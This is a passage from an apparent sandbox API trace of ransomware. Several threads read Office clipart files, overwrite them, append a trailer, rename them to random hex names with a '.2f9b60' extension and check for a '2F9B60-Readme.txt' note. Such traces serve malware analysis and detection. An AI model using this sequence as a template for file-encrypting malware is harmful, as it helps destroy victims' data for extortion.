Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x79f9b5e4 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x347c8898 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x25b9067a [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x7bfbebd [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x36cb0dd9 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x36e65bd4 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x601ffb3e [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x225c9d8c [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x25760fc1 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x20c022a3 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x35f2c34c [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x1f7a88e1 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x1a2273b7 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x5c7b2681 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x5023b8a6 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x6ff2e7f8 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x5c0391d5 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x3e5bfc03 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x4a76e4d7 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x35c9a2f2 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x155b7218 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x56f9c400 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x63be0247 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x7f1bff51 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x3e79a4d4 [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x2ca3d32e [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x738a658e [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x348b19cc [0116.202] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x13b1b74d [0116.214] ReadFile (in: hFile=0x15cc, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x1f8f, lpNumberOfBytesRead=0x3a5af970, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x3a5af970*=0x1f8f, lpOverlapped=0x0) returned 1 [0116.290] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.290] WriteFile (in: hFile=0x15cc, lpBuffer=0x20162d00*, nNumberOfBytesToWrite=0x1f8f, lpNumberOfBytesWritten=0x3a5af974, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesWritten=0x3a5af974*=0x1f8f, lpOverlapped=0x0) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631a0 [0116.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0116.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0116.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0116.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0116.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0116.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0116.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260380 [0116.643] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.644] WriteFile (in: hFile=0x15cc, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a5afa90, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x3a5afa90*=0x10a, lpOverlapped=0x0) returned 1 [0116.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0116.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0116.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0116.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0116.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f90) returned 1 [0116.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0116.946] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="ae") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="2f") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="18") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="ae") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="f6") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="64") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="40") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="a1") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="a9") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="51") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="d9") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="aa") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="ae") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="fe") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="0e") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="87") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="0b") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="26") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="83") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="38") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="81") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="4c") returned 2 [0116.946] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="75") returned 2 [0116.947] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="2c") returned 2 [0116.947] RtlInitAnsiString (in: DestinationString=0x3a5afb08, SourceString="ae2f18aef66440a1a951d9aaaefe0e870b268338814c752c" | out: DestinationString="ae2f18aef66440a1a951d9aaaefe0e870b268338814c752c") [0116.947] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a5afad8, SourceString="ae2f18aef66440a1a951d9aaaefe0e870b268338814c752c", AllocateDestinationString=1 | out: DestinationString="ae2f18aef66440a1a951d9aaaefe0e870b268338814c752c") returned 0x0 [0116.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8c90 [0116.947] wcscat (in: _Dest=0x2050c240, _Source="ae2f18aef664" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ae2f18aef664") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ae2f18aef664" [0116.947] wcscat (in: _Dest=0x2050c240, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ae2f18aef664.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ae2f18aef664.2f9b60" [0116.947] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ae2f18aef664.2f9b60", NtPathName=0x3a5afab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ae2f18aef664.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118af0 [0116.947] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x3a5afb50, FileInformation=0x118af0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118af0) returned 1 [0117.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0117.654] NtQueryInformationFile (in: FileHandle=0x15cc, IoStatusBlock=0x3a5afb18, FileInformation=0x3a5afb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a5afb18, FileInformation=0x3a5afb28) returned 0x0 [0117.654] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x3a5afb18, FileInformation=0x3a5afb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c240) returned 1 [0117.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8c90) returned 1 [0117.720] FlushFileBuffers (hFile=0x15cc) returned 1 [0117.729] CloseHandle (hObject=0x15cc) returned 1 [0117.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050cbe0 [0117.730] wcscpy (in: _Dest=0x2050cbe0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.730] wcscat (in: _Dest=0x2050cbe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0117.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862a90) returned 1 Thread: id = 1277 os_tid = 0xdd8 [0115.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif")) returned 0x20 [0116.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF", dwFileAttributes=0x20) returned 1 [0116.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x170c [0116.217] GetFileSizeEx (in: hFile=0x170c, lpFileSize=0x3a88fd60 | out: lpFileSize=0x3a88fd60*=3613) returned 1 [0116.217] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0xe19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.217] ReadFile (in: hFile=0x170c, lpBuffer=0x3a88fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a88fd28, lpOverlapped=0x0 | out: lpBuffer=0x3a88fce0*, lpNumberOfBytesRead=0x3a88fd28*=0x4, lpOverlapped=0x0) returned 1 [0116.272] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0116.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.273] NtQuerySystemTime (in: CurrentTime=0x3a88fc20 | out: CurrentTime=0x3a88fc20*=132462177217342000) returned 0x0 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x6efc1515 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x52392418 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x4ffa30c6 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x7ede4645 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x40f7bd5e [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x3ea60a43 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x10a23a9a [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x2687b6b7 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x3cccaf4d [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x7de90d9d [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x5c69bcb7 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x23cd8ad4 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x57249cc0 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x6ed76cf6 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x137bc58f [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x6482fe1e [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x4a2f3424 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x30251fa8 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x5f5245f1 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x31c63783 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x16068891 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x3c7ae6d4 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x5f6cfa37 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x7a218dc0 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x4380b007 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x45ecb289 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x730de209 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x2f591d41 [0116.273] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x38a5bf5e [0116.274] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x6ef1cee4 [0116.274] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x5e1faa09 [0116.274] RtlRandomEx (in: Seed=0x3a88fc10 | out: Seed=0x3a88fc10) returned 0x5450484b [0116.283] ReadFile (in: hFile=0x170c, lpBuffer=0x2016e130, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x3a88fc10, lpOverlapped=0x0 | out: lpBuffer=0x2016e130*, lpNumberOfBytesRead=0x3a88fc10*=0xe1d, lpOverlapped=0x0) returned 1 [0116.283] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.283] WriteFile (in: hFile=0x170c, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0xe1d, lpNumberOfBytesWritten=0x3a88fc14, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x3a88fc14*=0xe1d, lpOverlapped=0x0) returned 1 [0116.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bc0 [0116.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0116.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0116.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0116.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016e130) returned 1 [0116.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0116.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0116.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262360 [0116.642] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.642] WriteFile (in: hFile=0x170c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a88fd30, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3a88fd30*=0x10a, lpOverlapped=0x0) returned 1 [0116.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0116.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0116.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0116.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263470) returned 1 [0116.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0116.968] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="58") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="9b") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="26") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="54") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="c7") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="82") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="fe") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="65") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="14") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="ad") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="77") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="27") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="57") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="98") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="0f") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="75") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="bb") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="73") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="35") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="d7") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="c8") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="ab") returned 2 [0116.968] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="df") returned 2 [0116.969] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="64") returned 2 [0116.969] RtlInitAnsiString (in: DestinationString=0x3a88fda8, SourceString="589b2654c782fe6514ad772757980f75bb7335d7c8abdf64" | out: DestinationString="589b2654c782fe6514ad772757980f75bb7335d7c8abdf64") [0116.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a88fd78, SourceString="589b2654c782fe6514ad772757980f75bb7335d7c8abdf64", AllocateDestinationString=1 | out: DestinationString="589b2654c782fe6514ad772757980f75bb7335d7c8abdf64") returned 0x0 [0116.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8fa0 [0116.969] wcscat (in: _Dest=0x2050d210, _Source="589b2654c782" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\589b2654c782") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\589b2654c782" [0116.969] wcscat (in: _Dest=0x2050d210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\589b2654c782.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\589b2654c782.2f9b60" [0116.969] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\589b2654c782.2f9b60", NtPathName=0x3a88fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\589b2654c782.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118470 [0116.969] NtSetInformationFile (FileHandle=0x170c, IoStatusBlock=0x3a88fdf0, FileInformation=0x118470, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0117.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a110) returned 1 [0117.770] NtQueryInformationFile (in: FileHandle=0x170c, IoStatusBlock=0x3a88fdb8, FileInformation=0x3a88fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a88fdb8, FileInformation=0x3a88fdc8) returned 0x0 [0117.770] NtSetInformationFile (FileHandle=0x170c, IoStatusBlock=0x3a88fdb8, FileInformation=0x3a88fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0117.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8fa0) returned 1 [0117.772] FlushFileBuffers (hFile=0x170c) returned 1 [0117.775] CloseHandle (hObject=0x170c) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862880 [0117.776] wcscpy (in: _Dest=0x1b862880, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.776] wcscat (in: _Dest=0x1b862880, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862880) returned 1 [0117.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862b40) returned 1 Thread: id = 1278 os_tid = 0xddc [0115.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif")) returned 0x20 [0116.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF", dwFileAttributes=0x20) returned 1 [0116.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft 